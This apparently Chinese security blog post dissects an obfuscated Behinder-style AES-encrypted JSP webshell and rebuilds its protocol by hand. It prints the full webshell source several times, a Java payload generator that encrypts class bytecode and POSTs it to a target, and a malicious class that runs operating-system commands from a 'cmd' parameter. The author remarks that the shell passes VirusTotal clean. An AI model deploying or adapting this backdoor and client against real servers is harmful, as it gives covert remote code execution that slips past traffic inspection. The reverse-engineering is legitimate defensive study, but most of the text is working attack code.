前期准备
首先贴出原版🐎
1 <%!String key = "79bec9b8470119f5" ;String initVector = "9220dc6228514959" ;public static class util {public static Object getoob (java.lang.reflect.Method m,Object o,Object... args) throws Exception {return m.invoke(o, args);}public static Object getob (java.lang.reflect.Method m,Object o,Object... args) throws Exception{return getoob(m, o,args);}public static Object reobj1 (Object o) {return o;}public static Object reobj (Object o) {return reobj1(o);}}public static String reverse (String s) {return new StringBuilder (s).reverse().toString();}String md5 = md5(key + initVector);String style = "{\"Message\":\"##style##\"}}" ;public static String md5 (String s) {String ret = null ;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5" );m.update(s.getBytes(), 0 , s.length());ret = new java .math.BigInteger(1 , m.digest()).toString(16 ).toUpperCase();} catch (Exception e) {}return ret;}public byte [] x(byte [] s, boolean m) {try {javax.crypto.spec.IvParameterSpec iv = new javax .crypto.spec.IvParameterSpec(initVector.getBytes("UTF-8" ));Class cipher = Class.forName(reverse("rehpiC.otpyrc.xavaj" ));java.lang.reflect.Method cipher_getInstance = cipher.getMethod(reverse("ecnatsnIteg" ), String.class);javax.crypto.Cipher c = (javax.crypto.Cipher)util.getob(cipher_getInstance, cipher,reverse("gniddaP5SCKP/CBC/SEA" ));Class skeySpec1 = Class.forName(reverse("cepSyeKterceS.ceps.otpyrc.xavaj" ));java.lang.reflect.Constructor skeySpec1_c = skeySpec1.getConstructor(byte [].class, String.class);javax.crypto.spec.SecretKeySpec skeySpec1_Obj = (javax.crypto.spec.SecretKeySpec) skeySpec1_c.newInstance(key.getBytes(), reverse("SEA" ));c.init(m ? 1 : 2 , skeySpec1_Obj, iv);return c.doFinal(s);} catch (Exception e) {return null ;}}public static String base64Encode (byte [] bs) throws Exception {Class base64;String value = null ;try {base64 = Class.forName(reverse("46esaB.litu.avaj" ));Object Encoder = base64.getMethod(reverse("redocnEteg" ), null ).invoke(base64, null );Class enen = Encoder.getClass();java.lang.reflect.Method method = enen.getMethod(reverse("gnirtSoTedocne" ), new Class []{byte [].class});value = (String) util.getob(method,Encoder, new Object []{bs});} catch (Exception e) {try {base64 = Class.forName(reverse("redocnE46ESAB.csim.nus" ));Object Encoder = base64.newInstance();Class enen = Encoder.getClass();java.lang.reflect.Method method = enen.getMethod(reverse("edocne" ), new Class []{byte [].class});value = (String) util.getob(method,Encoder, new Object []{bs});} catch (Exception e2) {}}return value;}public static byte [] base64Decode(String bs) throws Exception {Class base64;byte [] value = null ;try {base64 = Class.forName(reverse("46esaB.litu.avaj" ));Object decoder = base64.getMethod(reverse("redoceDteg" ), null ).invoke(base64, null );Class dede = decoder.getClass();java.lang.reflect.Method method = dede.getMethod(reverse("edoced" ), new Class []{String.class});value = (byte []) util.getob(method,decoder, new Object []{bs});} catch (Exception e) {try {base64 = Class.forName(reverse("redoceD46ESAB.csim.nus" ));Object decoder = base64.newInstance();Class dede = decoder.getClass();java.lang.reflect.Method method = dede.getMethod(reverse("reffuBedoced" ), new Class []{String.class});value = (byte []) util.getob(method,decoder, new Object []{bs});} catch (Exception e2) {}}return value;}%><%response.setContentType("text/html;charset=utf-8" );if (request.getMethod().equals("POST" )) {try {Class rc = request.getClass();java.lang.reflect.Method rdc = rc.getMethod(reverse("redaeRteg" ));java.io.BufferedReader reader = (java.io.BufferedReader) rdc.invoke(request);String line = "" ;StringBuilder sb = new StringBuilder ();while ((line = reader.readLine()) != null ) {sb.append(line);}byte [] data = sb.toString().getBytes();String sdata = new String (data);if (sdata.indexOf(md5.substring(16 )) > 0 ) {style = new String (x(base64Decode(java.net.URLDecoder.decode(sdata.split(md5.substring(16 ))[1 ])), false ));session.setAttribute("style" , style);}if (session.getAttribute("style" ) == null ) {session.setAttribute("style" , style);}if (sdata.indexOf(md5.substring(0 , 16 )) > 0 ) {sdata = sdata.split(md5.substring(0 , 16 ))[1 ];data = x(base64Decode(java.net.URLDecoder.decode(sdata)), false );if (session.getAttribute("NAPRoutID" ) == null ) {java.lang.reflect.Method ClassLoaderEx = Class.forName(reverse("redaoLssalC.gnal.avaj" )).getDeclaredMethod(reverse("ssalCenifed" ), byte [].class, int .class, int .class);ClassLoaderEx.setAccessible(true );java.lang.reflect.Method currentThreadMethod = Thread.class.getMethod(reverse("daerhTtnerruc" ));Thread currentThread = (Thread) currentThreadMethod.invoke(null );java.lang.reflect.Method getContextClassLoaderMethod = Thread.class.getMethod(reverse("redaoLssalCtxetnoCteg" ));ClassLoader contextClassLoader = (ClassLoader) util.getob(getContextClassLoaderMethod, currentThread);Class Class_i = (Class) util.getob(ClassLoaderEx, contextClassLoader, data, 0 , data.length);session.setAttribute("NAPRoutID" , Class_i);response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , "" ));} else {request.setAttribute(reverse("sretemarap" ), data);java.io.ByteArrayOutputStream arrOut = new java .io.ByteArrayOutputStream();Class payload_c = ((Class) session.getAttribute("NAPRoutID" ));Object f = payload_c.newInstance();f.equals(arrOut);f.equals(util.reobj(pageContext));f.toString();response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , md5.substring(0 , 16 ) + java.net.URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true )), "UTF-8" ) + md5.substring(16 )));}} else {response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , "" ));}} catch (Exception e) {response.getWriter().write(style.replace("##style##" , "Unauthorized" ));}} else {response.getWriter().write(style.replace("##style##" , "Unauthorized" ));}%>
看看它的效果,vt 上一丢,全绿wc
tomcat访问后拿到jsp解析成java的样子(ai美化了一下)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 package org.apache.jsp;import javax.servlet.*;import javax.servlet.http.*;import javax.servlet.jsp.*;import java.lang.reflect.Method;import java.lang.reflect.Constructor;import java.math.BigInteger;import java.security.MessageDigest;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.io.BufferedReader;import java.io.ByteArrayOutputStream;import java.net.URLDecoder;import java.net.URLEncoder;import java.util.Base64;public final class logx_jsp extends HttpJspBase implements JspSourceDependent , JspSourceImports { String key = "79bec9b8470119f5" ; String initVector = "9220dc6228514959" ; public static class util { public static Object getoob (Method m, Object o, Object... args) throws Exception { return m.invoke(o, args); } public static Object getob (Method m, Object o, Object... args) throws Exception { return getoob(m, o, args); } public static Object reobj1 (Object o) { return o; } public static Object reobj (Object o) { return reobj1(o); } } public static String md5 (String s) { String ret = null ; try { MessageDigest md = MessageDigest.getInstance("MD5" ); md.update(s.getBytes()); ret = new BigInteger (1 , md.digest()).toString(16 ).toUpperCase(); } catch (Exception e) { } return ret; } String md5 = md5(key + initVector); String style = "{\"Message\":\"##style##\"}}" ; public byte [] x(byte [] input, boolean m) { try { IvParameterSpec iv = new IvParameterSpec (initVector.getBytes("UTF-8" )); Class<?> cipherClass = Class.forName("javax.crypto.Cipher" ); Method getInstanceMethod = cipherClass.getMethod("getInstance" , String.class); Cipher cipher = (Cipher) util.getob(getInstanceMethod, cipherClass, "AES/CBC/PKCS5Padding" ); Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec" ); Constructor<?> skeySpecConstructor = secretKeySpecClass.getConstructor(byte [].class, String.class); SecretKeySpec secretKeySpec = (SecretKeySpec) skeySpecConstructor.newInstance(key.getBytes(), "AES" ); cipher.init(m ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE, secretKeySpec, iv); return cipher.doFinal(input); } catch (Exception e) { return null ; } } public static String base64Encode (byte [] bs) throws Exception { Class<?> base64Class; String value = null ; try { base64Class = Class.forName("java.util.Base64" ); Object encoder = base64Class.getMethod("getEncoder" ).invoke(base64Class); Method encodeMethod = encoder.getClass().getMethod("encodeToString" , byte [].class); value = (String) util.getob(encodeMethod, encoder, new Object []{bs}); } catch (Exception e) { try { base64Class = Class.forName("sun.misc.BASE64Encoder" ); Object encoder = base64Class.newInstance(); Method encodeMethod = encoder.getClass().getMethod("encode" , byte [].class); value = (String) util.getob(encodeMethod, encoder, new Object []{bs}); } catch (Exception e2) { } } return value; } public static byte [] base64Decode(String bs) throws Exception { Class<?> base64Class; byte [] value = null ; try { base64Class = Class.forName("java.util.Base64" ); Object decoder = base64Class.getMethod("getDecoder" ).invoke(base64Class); Method decodeMethod = decoder.getClass().getMethod("decode" , String.class); value = (byte []) util.getob(decodeMethod, decoder, new Object []{bs}); } catch (Exception e) { try { base64Class = Class.forName("sun.misc.BASE64Decoder" ); Object decoder = base64Class.newInstance(); Method decodeMethod = decoder.getClass().getMethod("decodeBuffer" , String.class); value = (byte []) util.getob(decodeMethod, decoder, new Object []{bs}); } catch (Exception e2) { } } return value; } @Override public void _jspService (HttpServletRequest request, HttpServletResponse response) throws java.io.IOException, ServletException { response.setContentType("text/html;charset=utf-8" ); if ("POST" .equalsIgnoreCase(request.getMethod())) { try { Method getReaderMethod = request.getClass().getMethod("getReader" ); BufferedReader reader = (BufferedReader) getReaderMethod.invoke(request); String line; StringBuilder sb = new StringBuilder (); while ((line = reader.readLine()) != null ) { sb.append(line); } byte [] data = sb.toString().getBytes(); String sdata = new String (data); if (sdata.indexOf(md5.substring(16 )) > 0 ) { String encryptedPart = sdata.split(md5.substring(16 ))[1 ]; String decodedData = new String (x(base64Decode(URLDecoder.decode(encryptedPart)), false )); style = decodedData; request.getSession().setAttribute("style" , style); } if (request.getSession().getAttribute("style" ) == null ) { request.getSession().setAttribute("style" , style); } if (sdata.indexOf(md5.substring(0 , 16 )) > 0 ) { sdata = sdata.split(md5.substring(0 , 16 ))[1 ]; data = x(base64Decode(URLDecoder.decode(sdata)), false ); HttpSession session = request.getSession(); if (session.getAttribute("NAPRoutID" ) == null ) { Method defineClassMethod = ClassLoader.class .getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); defineClassMethod.setAccessible(true ); Method currentThreadMethod = Thread.class.getMethod("currentThread" ); Thread currentThread = (Thread) currentThreadMethod.invoke(null ); Method getContextClassLoaderMethod = Thread.class.getMethod("getContextClassLoader" ); ClassLoader contextClassLoader = (ClassLoader) util.getob(getContextClassLoaderMethod, currentThread); Class<?> injectedClass = (Class<?>) util.getob(defineClassMethod, contextClassLoader, data, 0 , data.length); session.setAttribute("NAPRoutID" , injectedClass); response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , "" )); } else { request.setAttribute("params" , data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream (); Class<?> payloadClass = (Class<?>) session.getAttribute("NAPRoutID" ); Object f = payloadClass.newInstance(); f.equals(arrOut); f.equals(util.reobj(pageContext)); f.toString(); response.getWriter().write(session.getAttribute("style" ).toString().replace( "##style##" , md5.substring(0 , 16 ) + URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true )), "UTF-8" ) + md5.substring(16 ) )); } } else { response.getWriter().write(request.getSession().getAttribute("style" ).toString().replace("##style##" , "" )); } } catch (Exception e) { response.getWriter().write(style.replace("##style##" , "Unauthorized" )); } } else { response.getWriter().write(style.replace("##style##" , "Unauthorized" )); } } }
方便调试自己修改的jsp:(在出现异常的时候打印出了对应的异常信息,因为不会直接动态调试jsp,好像也没办法能过直接调试jsp吧,想过一比一转成java代码的法子,但是感觉工作量比较大,只能出此下策了=_=)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 <%! String key = "79bec9b8470119f5" ; String initVector = "9220dc6228514959" ; public static class util { public static Object getoob (java.lang.reflect.Method m, Object o, Object... args) throws Exception { return m.invoke(o, args); } public static Object getob (java.lang.reflect.Method m, Object o, Object... args) throws Exception { return getoob(m, o, args); } public static Object reobj1 (Object o) { return o; } public static Object reobj (Object o) { return reobj1(o); } } public static String reverse (String s) { return new StringBuilder (s).reverse().toString(); } String md5 = md5(key + initVector); String style = "{\"Message\":\"##style##\"}}" ; public static String md5 (String s) { String ret = null ; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5" ); m.update(s.getBytes(), 0 , s.length()); ret = new java .math.BigInteger(1 , m.digest()).toString(16 ).toUpperCase(); } catch (Exception e) { } return ret; } public byte [] x(byte [] s, boolean m) { try { javax.crypto.spec.IvParameterSpec iv = new javax .crypto.spec.IvParameterSpec(initVector.getBytes("UTF-8" )); Class cipher = Class.forName("javax.crypto.Cipher" ); java.lang.reflect.Method cipher_getInstance = cipher.getMethod("getInstance" , String.class); javax.crypto.Cipher c = (javax.crypto.Cipher) util.getob(cipher_getInstance, cipher, "AES/CBC/PKCS5Padding" ); Class skeySpec1 = Class.forName("javax.crypto.spec.SecretKeySpec" ); java.lang.reflect.Constructor skeySpec1_c = skeySpec1.getConstructor(byte [].class, String.class); javax.crypto.spec.SecretKeySpec skeySpec1_Obj = (javax.crypto.spec.SecretKeySpec) skeySpec1_c.newInstance(key.getBytes(), "AES" ); c.init(m ? 1 : 2 , skeySpec1_Obj, iv); return c.doFinal(s); } catch (Exception e) { return null ; } } public static String base64Encode (byte [] bs) throws Exception { Class base64; String value = null ; try { base64 = Class.forName("java.util.Base64" ); Object Encoder = base64.getMethod("getEncoder" , null ).invoke(base64, null ); Class enen = Encoder.getClass(); java.lang.reflect.Method method = enen.getMethod("encodeToString" , new Class []{byte [].class}); value = (String) util.getob(method, Encoder, new Object []{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder" ); Object Encoder = base64.newInstance(); Class enen = Encoder.getClass(); java.lang.reflect.Method method = enen.getMethod("encode" , new Class []{byte [].class}); value = (String) util.getob(method, Encoder, new Object []{bs}); } catch (Exception e2) { } } return value; } public static byte [] base64Decode(String bs) throws Exception { Class base64; byte [] value = null ; try { base64 = Class.forName("java.util.Base64" ); Object decoder = base64.getMethod("getDecoder" , null ).invoke(base64, null ); Class dede = decoder.getClass(); java.lang.reflect.Method method = dede.getMethod("decode" , new Class []{String.class}); value = (byte []) util.getob(method, decoder, new Object []{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder" ); Object decoder = base64.newInstance(); Class dede = decoder.getClass(); java.lang.reflect.Method method = dede.getMethod("decodeBuffer" , new Class []{String.class}); value = (byte []) util.getob(method, decoder, new Object []{bs}); } catch (Exception e2) { } } return value; } %> <% response.setContentType("text/html;charset=utf-8" ); if (request.getMethod().equals("POST" )) { try { Class rc = request.getClass(); java.lang.reflect.Method rdc = rc.getMethod("getReader" ); java.io.BufferedReader reader = (java.io.BufferedReader) rdc.invoke(request); String line = "" ; StringBuilder sb = new StringBuilder (); while ((line = reader.readLine()) != null ) { sb.append(line); } byte [] data = sb.toString().getBytes(); String sdata = new String (data); if (sdata.indexOf(md5.substring(16 )) > 0 ) { style = new String (x(base64Decode(java.net.URLDecoder.decode(sdata.split(md5.substring(16 ))[1 ])), false )); session.setAttribute("style" , style); } if (session.getAttribute("style" ) == null ) { session.setAttribute("style" , style); } if (sdata.indexOf(md5.substring(0 , 16 )) > 0 ) { sdata = sdata.split(md5.substring(0 , 16 ))[1 ]; data = x(base64Decode(java.net.URLDecoder.decode(sdata)), false ); if (session.getAttribute("NAPRoutID" ) == null ) { java.lang.reflect.Method ClassLoaderEx = Class.forName("java.lang.ClassLoader" ).getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); ClassLoaderEx.setAccessible(true ); java.lang.reflect.Method currentThreadMethod = Thread.class.getMethod("currentThread" ); Thread currentThread = (Thread) currentThreadMethod.invoke(null ); java.lang.reflect.Method getContextClassLoaderMethod = Thread.class.getMethod("getContextClassLoader" ); ClassLoader contextClassLoader = (ClassLoader) util.getob(getContextClassLoaderMethod, currentThread); Class Class_i = (Class) util.getob(ClassLoaderEx, contextClassLoader, data, 0 , data.length); session.setAttribute("NAPRoutID" , Class_i); response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , "" )); } else { request.setAttribute("parameters" , data); java.io.ByteArrayOutputStream arrOut = new java .io.ByteArrayOutputStream(); Class payload_c = ((Class) session.getAttribute("NAPRoutID" )); Object f = payload_c.newInstance(); f.equals(arrOut); f.equals(util.reobj(pageContext)); f.toString(); response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , md5.substring(0 , 16 ) + java.net.URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true )), "UTF-8" ) + md5.substring(16 ))); } } else { response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , "sdata.indexOf(md5.substring(0, 16)) error" )); } } catch (Exception e) { response.getWriter().write(style.replace("##style##" , "Unauthorized deal error: " + e.getMessage())); } } else { response.getWriter().write(style.replace("##style##" , "null postData" )); } %>
初看一眼就是冰蝎的自定义加密逻辑
,
开头贴出来的就是两个密钥然后合起来md5String md5 = *md5*(key + initVector);
如果观察过一些市面上的冰蝎aes webshell就会很熟悉这个操作.
然后就是一个写session
字段的操作,也是一些服务端的特征了
可以看看下面这个图(来源于冰蝎作者rebeyond的博客,作者对冰蝎的动态二进制加密通信分享真的很到位,看了很多遍也觉得有意义)
冰蝎v4.0传输协议详解 学废了你也可以构造自己的🐎
开始手动还原
如果是自己写的加密,那么对应肯定有个解密函数(这个存在于冰蝎的客户端),之所以能bypass一些防护,就是这些东西我们第三方是看不懂的,然后加上这个🐎有一丢丢伪装
核心逻辑是AES-CBC/PKCS5Padding
这里自己开始是手动模拟了一下
也是没得问题,正常连接上了冰蝎客户端,可以看到流量都是”乱码”,中间人(流量设备)根本无从下手
然后回到🐎本身,核心逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 response.setContentType("text/html;charset=utf-8" ); if (request.getMethod().equals("POST" )) { try { Class rc = request.getClass(); java.lang.reflect.Method rdc = rc.getMethod("getReader" ); java.io.BufferedReader reader = (java.io.BufferedReader) rdc.invoke(request); String line = "" ; StringBuilder sb = new StringBuilder (); while ((line = reader.readLine()) != null ) { sb.append(line); } byte [] data = sb.toString().getBytes(); String sdata = new String (data); if (sdata.indexOf(md5.substring(16 )) > 0 ) { style = new String (x(base64Decode(java.net.URLDecoder.decode(sdata.split(md5.substring(16 ))[1 ])), false )); session.setAttribute("style" , style); } if (session.getAttribute("style" ) == null ) { session.setAttribute("style" , style); } if (sdata.indexOf(md5.substring(0 , 16 )) > 0 ) { sdata = sdata.split(md5.substring(0 , 16 ))[1 ]; data = x(base64Decode(java.net.URLDecoder.decode(sdata)), false ); if (session.getAttribute("NAPRoutID" ) == null ) { java.lang.reflect.Method ClassLoaderEx = Class.forName("java.lang.ClassLoader" ).getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); ClassLoaderEx.setAccessible(true ); java.lang.reflect.Method currentThreadMethod = Thread.class.getMethod("currentThread" ); Thread currentThread = (Thread) currentThreadMethod.invoke(null ); java.lang.reflect.Method getContextClassLoaderMethod = Thread.class.getMethod("getContextClassLoader" ); ClassLoader contextClassLoader = (ClassLoader) util.getob(getContextClassLoaderMethod, currentThread); Class Class_i = (Class) util.getob(ClassLoaderEx, contextClassLoader, data, 0 , data.length); session.setAttribute("NAPRoutID" , Class_i); response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , "" )); } else { request.setAttribute("parameters" , data); java.io.ByteArrayOutputStream arrOut = new java .io.ByteArrayOutputStream(); Class payload_c = ((Class) session.getAttribute("NAPRoutID" )); Object f = payload_c.newInstance(); f.equals(arrOut); f.equals(util.reobj(pageContext)); f.toString(); response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , md5.substring(0 , 16 ) + java.net.URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true )), "UTF-8" ) + md5.substring(16 ))); } } else { response.getWriter().write(session.getAttribute("style" ).toString().replace("##style##" , "sdata.indexOf(md5.substring(0, 16)) error" )); } } catch (Exception e) { response.getWriter().write(style.replace("##style##" , "Unauthorized deal error: " + e.getMessage())); } } else { response.getWriter().write(style.replace("##style##" , "null postData" )); }
首先是拿到POST传的body,然后开始校验密钥if (sdata.indexOf(md5.substring(16)) > 0)
这个说人话就是看POST传参里是否存在前面得到的md5哈希
后的前16位,如果存在则进入恶意逻辑(先aes解密再base解码)然后加载字节码生成类并触发其中的equals
方法.
那我们的构造就很简单了: md5的前16位打头+我们自己的恶意类字节码加密编码后的结果
即可!
执行成功后返回的结果构造形式对应代码片段: response.getWriter().write(session.getAttribute("style").toString().replace("##style##", md5.substring(0, 16) + java.net.URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true)), "UTF-8") + md5.substring(16)));
也就是md5前16位+加密编码的执行结果+md5后16位
而成
因为aes是对称加密算法,因此依葫芦画瓢,写出对应的解密逻辑就行(基本上主流语言都自带加密解密库)
坑: indexOf
函数
But这个indexOf
函数有个大坑,也怪我自己用的少.如下结果会输出不匹配的结果,indexOf
函数会返回第一个字串出现的下标.
给出如下demo来演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package util;public class demo { public static void main (String[] args) { String key = "79bec9b8470119f5" ; String initVector = "9220dc6228514959" ; String md5 = md5(key + initVector); System.out.println("MD5 Hash: " + md5); String payload = md5.substring(0 , 16 ) + "your_base64_encoded_data_here" ; if (payload.indexOf(md5.substring(0 ,16 ))>0 ){ System.out.println("Payload contains the correct prefix." ); }else { System.out.println("Payload does not contain the correct prefix." ); } } public static String md5 (String s) { String ret = null ; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5" ); m.update(s.getBytes(), 0 , s.length()); ret = new java .math.BigInteger(1 , m.digest()).toString(16 ).toUpperCase(); } catch (Exception e) { } return ret; } }
开始直接传入的md5的前16位打头+我们自己的恶意类字节码
美美以为就结束了,结果就是死活不跳到恶意逻辑里去,我怀疑过jdk版本,自己写的payload…然后巴拉巴拉整了好久
后面加了debug语句后找到了问题所在
只要我们在前面加上任意字符即可,让构造的payload为: “xxx”+payload 返回的下标就不会是0了,然后就进入了恶意逻辑
手写Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.io.IOException;import java.io.InputStream;import java.net.URL;import java.net.URLConnection;import java.net.URLEncoder;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.nio.file.Paths;import java.security.MessageDigest;import java.util.Base64;import java.util.Scanner;public class PayloadGenerator { private static final String KEY = "79bec9b8470119f5" ; private static final String IV = "9220dc6228514959" ; public static void main (String[] args) throws Exception { generateClassPayload("F:\\Code\\Java\\JavaEE_Learn\\Servlet\\target\\classes\\Exploit\\EnhancedPayload.class" ); } private static void generateClassPayload (String classPath) throws Exception { byte [] classBytes = Files.readAllBytes(Paths.get(classPath)); byte [] encrypted = encrypt(classBytes, true ); String base64 = Base64.getEncoder().encodeToString(encrypted); String urlEncoded = URLEncoder.encode(base64, "UTF-8" ); String md5 = calculateMD5(); String payload = md5.substring(0 , 16 ) + urlEncoded; System.out.println("Generated payload for class upload:" ); System.out.println(payload); System.out.println("\nSend this payload in POST body to target JSP" ); } private static void executeCommand (String targetUrl, String command) throws Exception { byte [] cmdBytes = command.getBytes(StandardCharsets.UTF_8); byte [] encrypted = encrypt(cmdBytes, true ); String base64 = Base64.getEncoder().encodeToString(encrypted); String urlEncoded = URLEncoder.encode(base64, "UTF-8" ); String md5 = calculateMD5(); String payload = md5.substring(0 , 16 ) + urlEncoded; sendPostRequest(targetUrl, payload); } private static String calculateMD5 () throws Exception { MessageDigest md = MessageDigest.getInstance("MD5" ); md.update((KEY + IV).getBytes()); byte [] digest = md.digest(); StringBuilder sb = new StringBuilder (); for (byte b : digest) { sb.append(String.format("%02X" , b)); } return sb.toString(); } private static byte [] encrypt(byte [] data, boolean encrypt) throws Exception { IvParameterSpec ivSpec = new IvParameterSpec (IV.getBytes(StandardCharsets.UTF_8)); SecretKeySpec keySpec = new SecretKeySpec (KEY.getBytes(StandardCharsets.UTF_8), "AES" ); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding" ); cipher.init(encrypt ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE, keySpec, ivSpec); return cipher.doFinal(data); } private static void sendPostRequest (String targetUrl, String payload) throws IOException { URL url = new URL (targetUrl); URLConnection conn = url.openConnection(); conn.setDoOutput(true ); try (java.io.OutputStream os = conn.getOutputStream()) { os.write(payload.getBytes(StandardCharsets.UTF_8)); } try (InputStream is = conn.getInputStream(); Scanner scanner = new Scanner (is, "UTF-8" )) { String response = scanner.useDelimiter("\\A" ).next(); System.out.println("Server response:" ); String md5 = calculateMD5(); String encryptedPart = response.split(md5.substring(0 , 16 ))[1 ]; encryptedPart = encryptedPart.split(md5.substring(16 ))[0 ]; byte [] decoded = Base64.getDecoder().decode(encryptedPart); byte [] decrypted = encrypt(decoded, false ); System.out.println(new String (decrypted, StandardCharsets.UTF_8)); } catch (Exception e) { throw new RuntimeException (e); } } }
构造以下恶意类,因为是手动模拟
,没有借助冰蝎客户端内置的能力,就写了个传参进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package Exploit;import java.io.ByteArrayOutputStream;import java.io.InputStream;import javax.servlet.jsp.PageContext;public class EnhancedPayload { private ByteArrayOutputStream output; public boolean equals (Object obj) { try { if (obj instanceof ByteArrayOutputStream) { this .output = (ByteArrayOutputStream) obj; return true ; } else if (obj instanceof PageContext) { executeCommands((PageContext) obj); } } catch (Exception e) { e.printStackTrace(); } return false ; } private void executeCommands (PageContext context) throws Exception { String cmd = context.getRequest().getParameter("cmd" ); if (cmd != null ) { Process process = Runtime.getRuntime().exec(cmd); try (InputStream input = process.getInputStream(); InputStream error = process.getErrorStream()) { byte [] buffer = new byte [1024 ]; int bytesRead; while ((bytesRead = input.read(buffer)) != -1 ) { output.write(buffer, 0 , bytesRead); } while ((bytesRead = error.read(buffer)) != -1 ) { output.write(buffer, 0 , bytesRead); } } output.flush(); } } }
然后post发过去就ok了
直接来个灵魂计算器更直观!
给出逆向后简单还原webshell自定义冰蝎协议的加解密函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 private byte [] Encrypt(byte [] data) throws Exception { String key = "79bec9b8470119f5" ; String initVector = "9220dc6228514959" ; String pre="57B53AD816D757C7" ; String post="4E894FF7B4044BB6" ; javax.crypto.spec.SecretKeySpec skeySpec = new javax .crypto.spec.SecretKeySpec(key.getBytes("UTF-8" ), "AES" ); javax.crypto.spec.IvParameterSpec iv = new javax .crypto.spec.IvParameterSpec(initVector.getBytes("UTF-8" )); javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding" ); cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec, iv); byte [] encrypted = cipher.doFinal(data); String base64Encoded; try { Class<?> base64Cls = Class.forName("java.util.Base64" ); Object encoder = base64Cls.getMethod("getEncoder" ).invoke(null ); byte [] encodedBytes = (byte []) encoder.getClass().getMethod("encode" , byte [].class).invoke(encoder, encrypted); base64Encoded = new String (encodedBytes, "UTF-8" ); } catch (Throwable t) { Class<?> base64Cls = Class.forName("sun.misc.BASE64Encoder" ); Object encoder = base64Cls.newInstance(); base64Encoded = (String) encoder.getClass().getMethod("encode" , byte [].class).invoke(encoder, encrypted); base64Encoded = base64Encoded.replace("\n" , "" ).replace("\r" , "" ); } String json = "payload=" +pre+java.net.URLEncoder.encode(base64Encoded, "UTF-8" ); return json.getBytes(); }
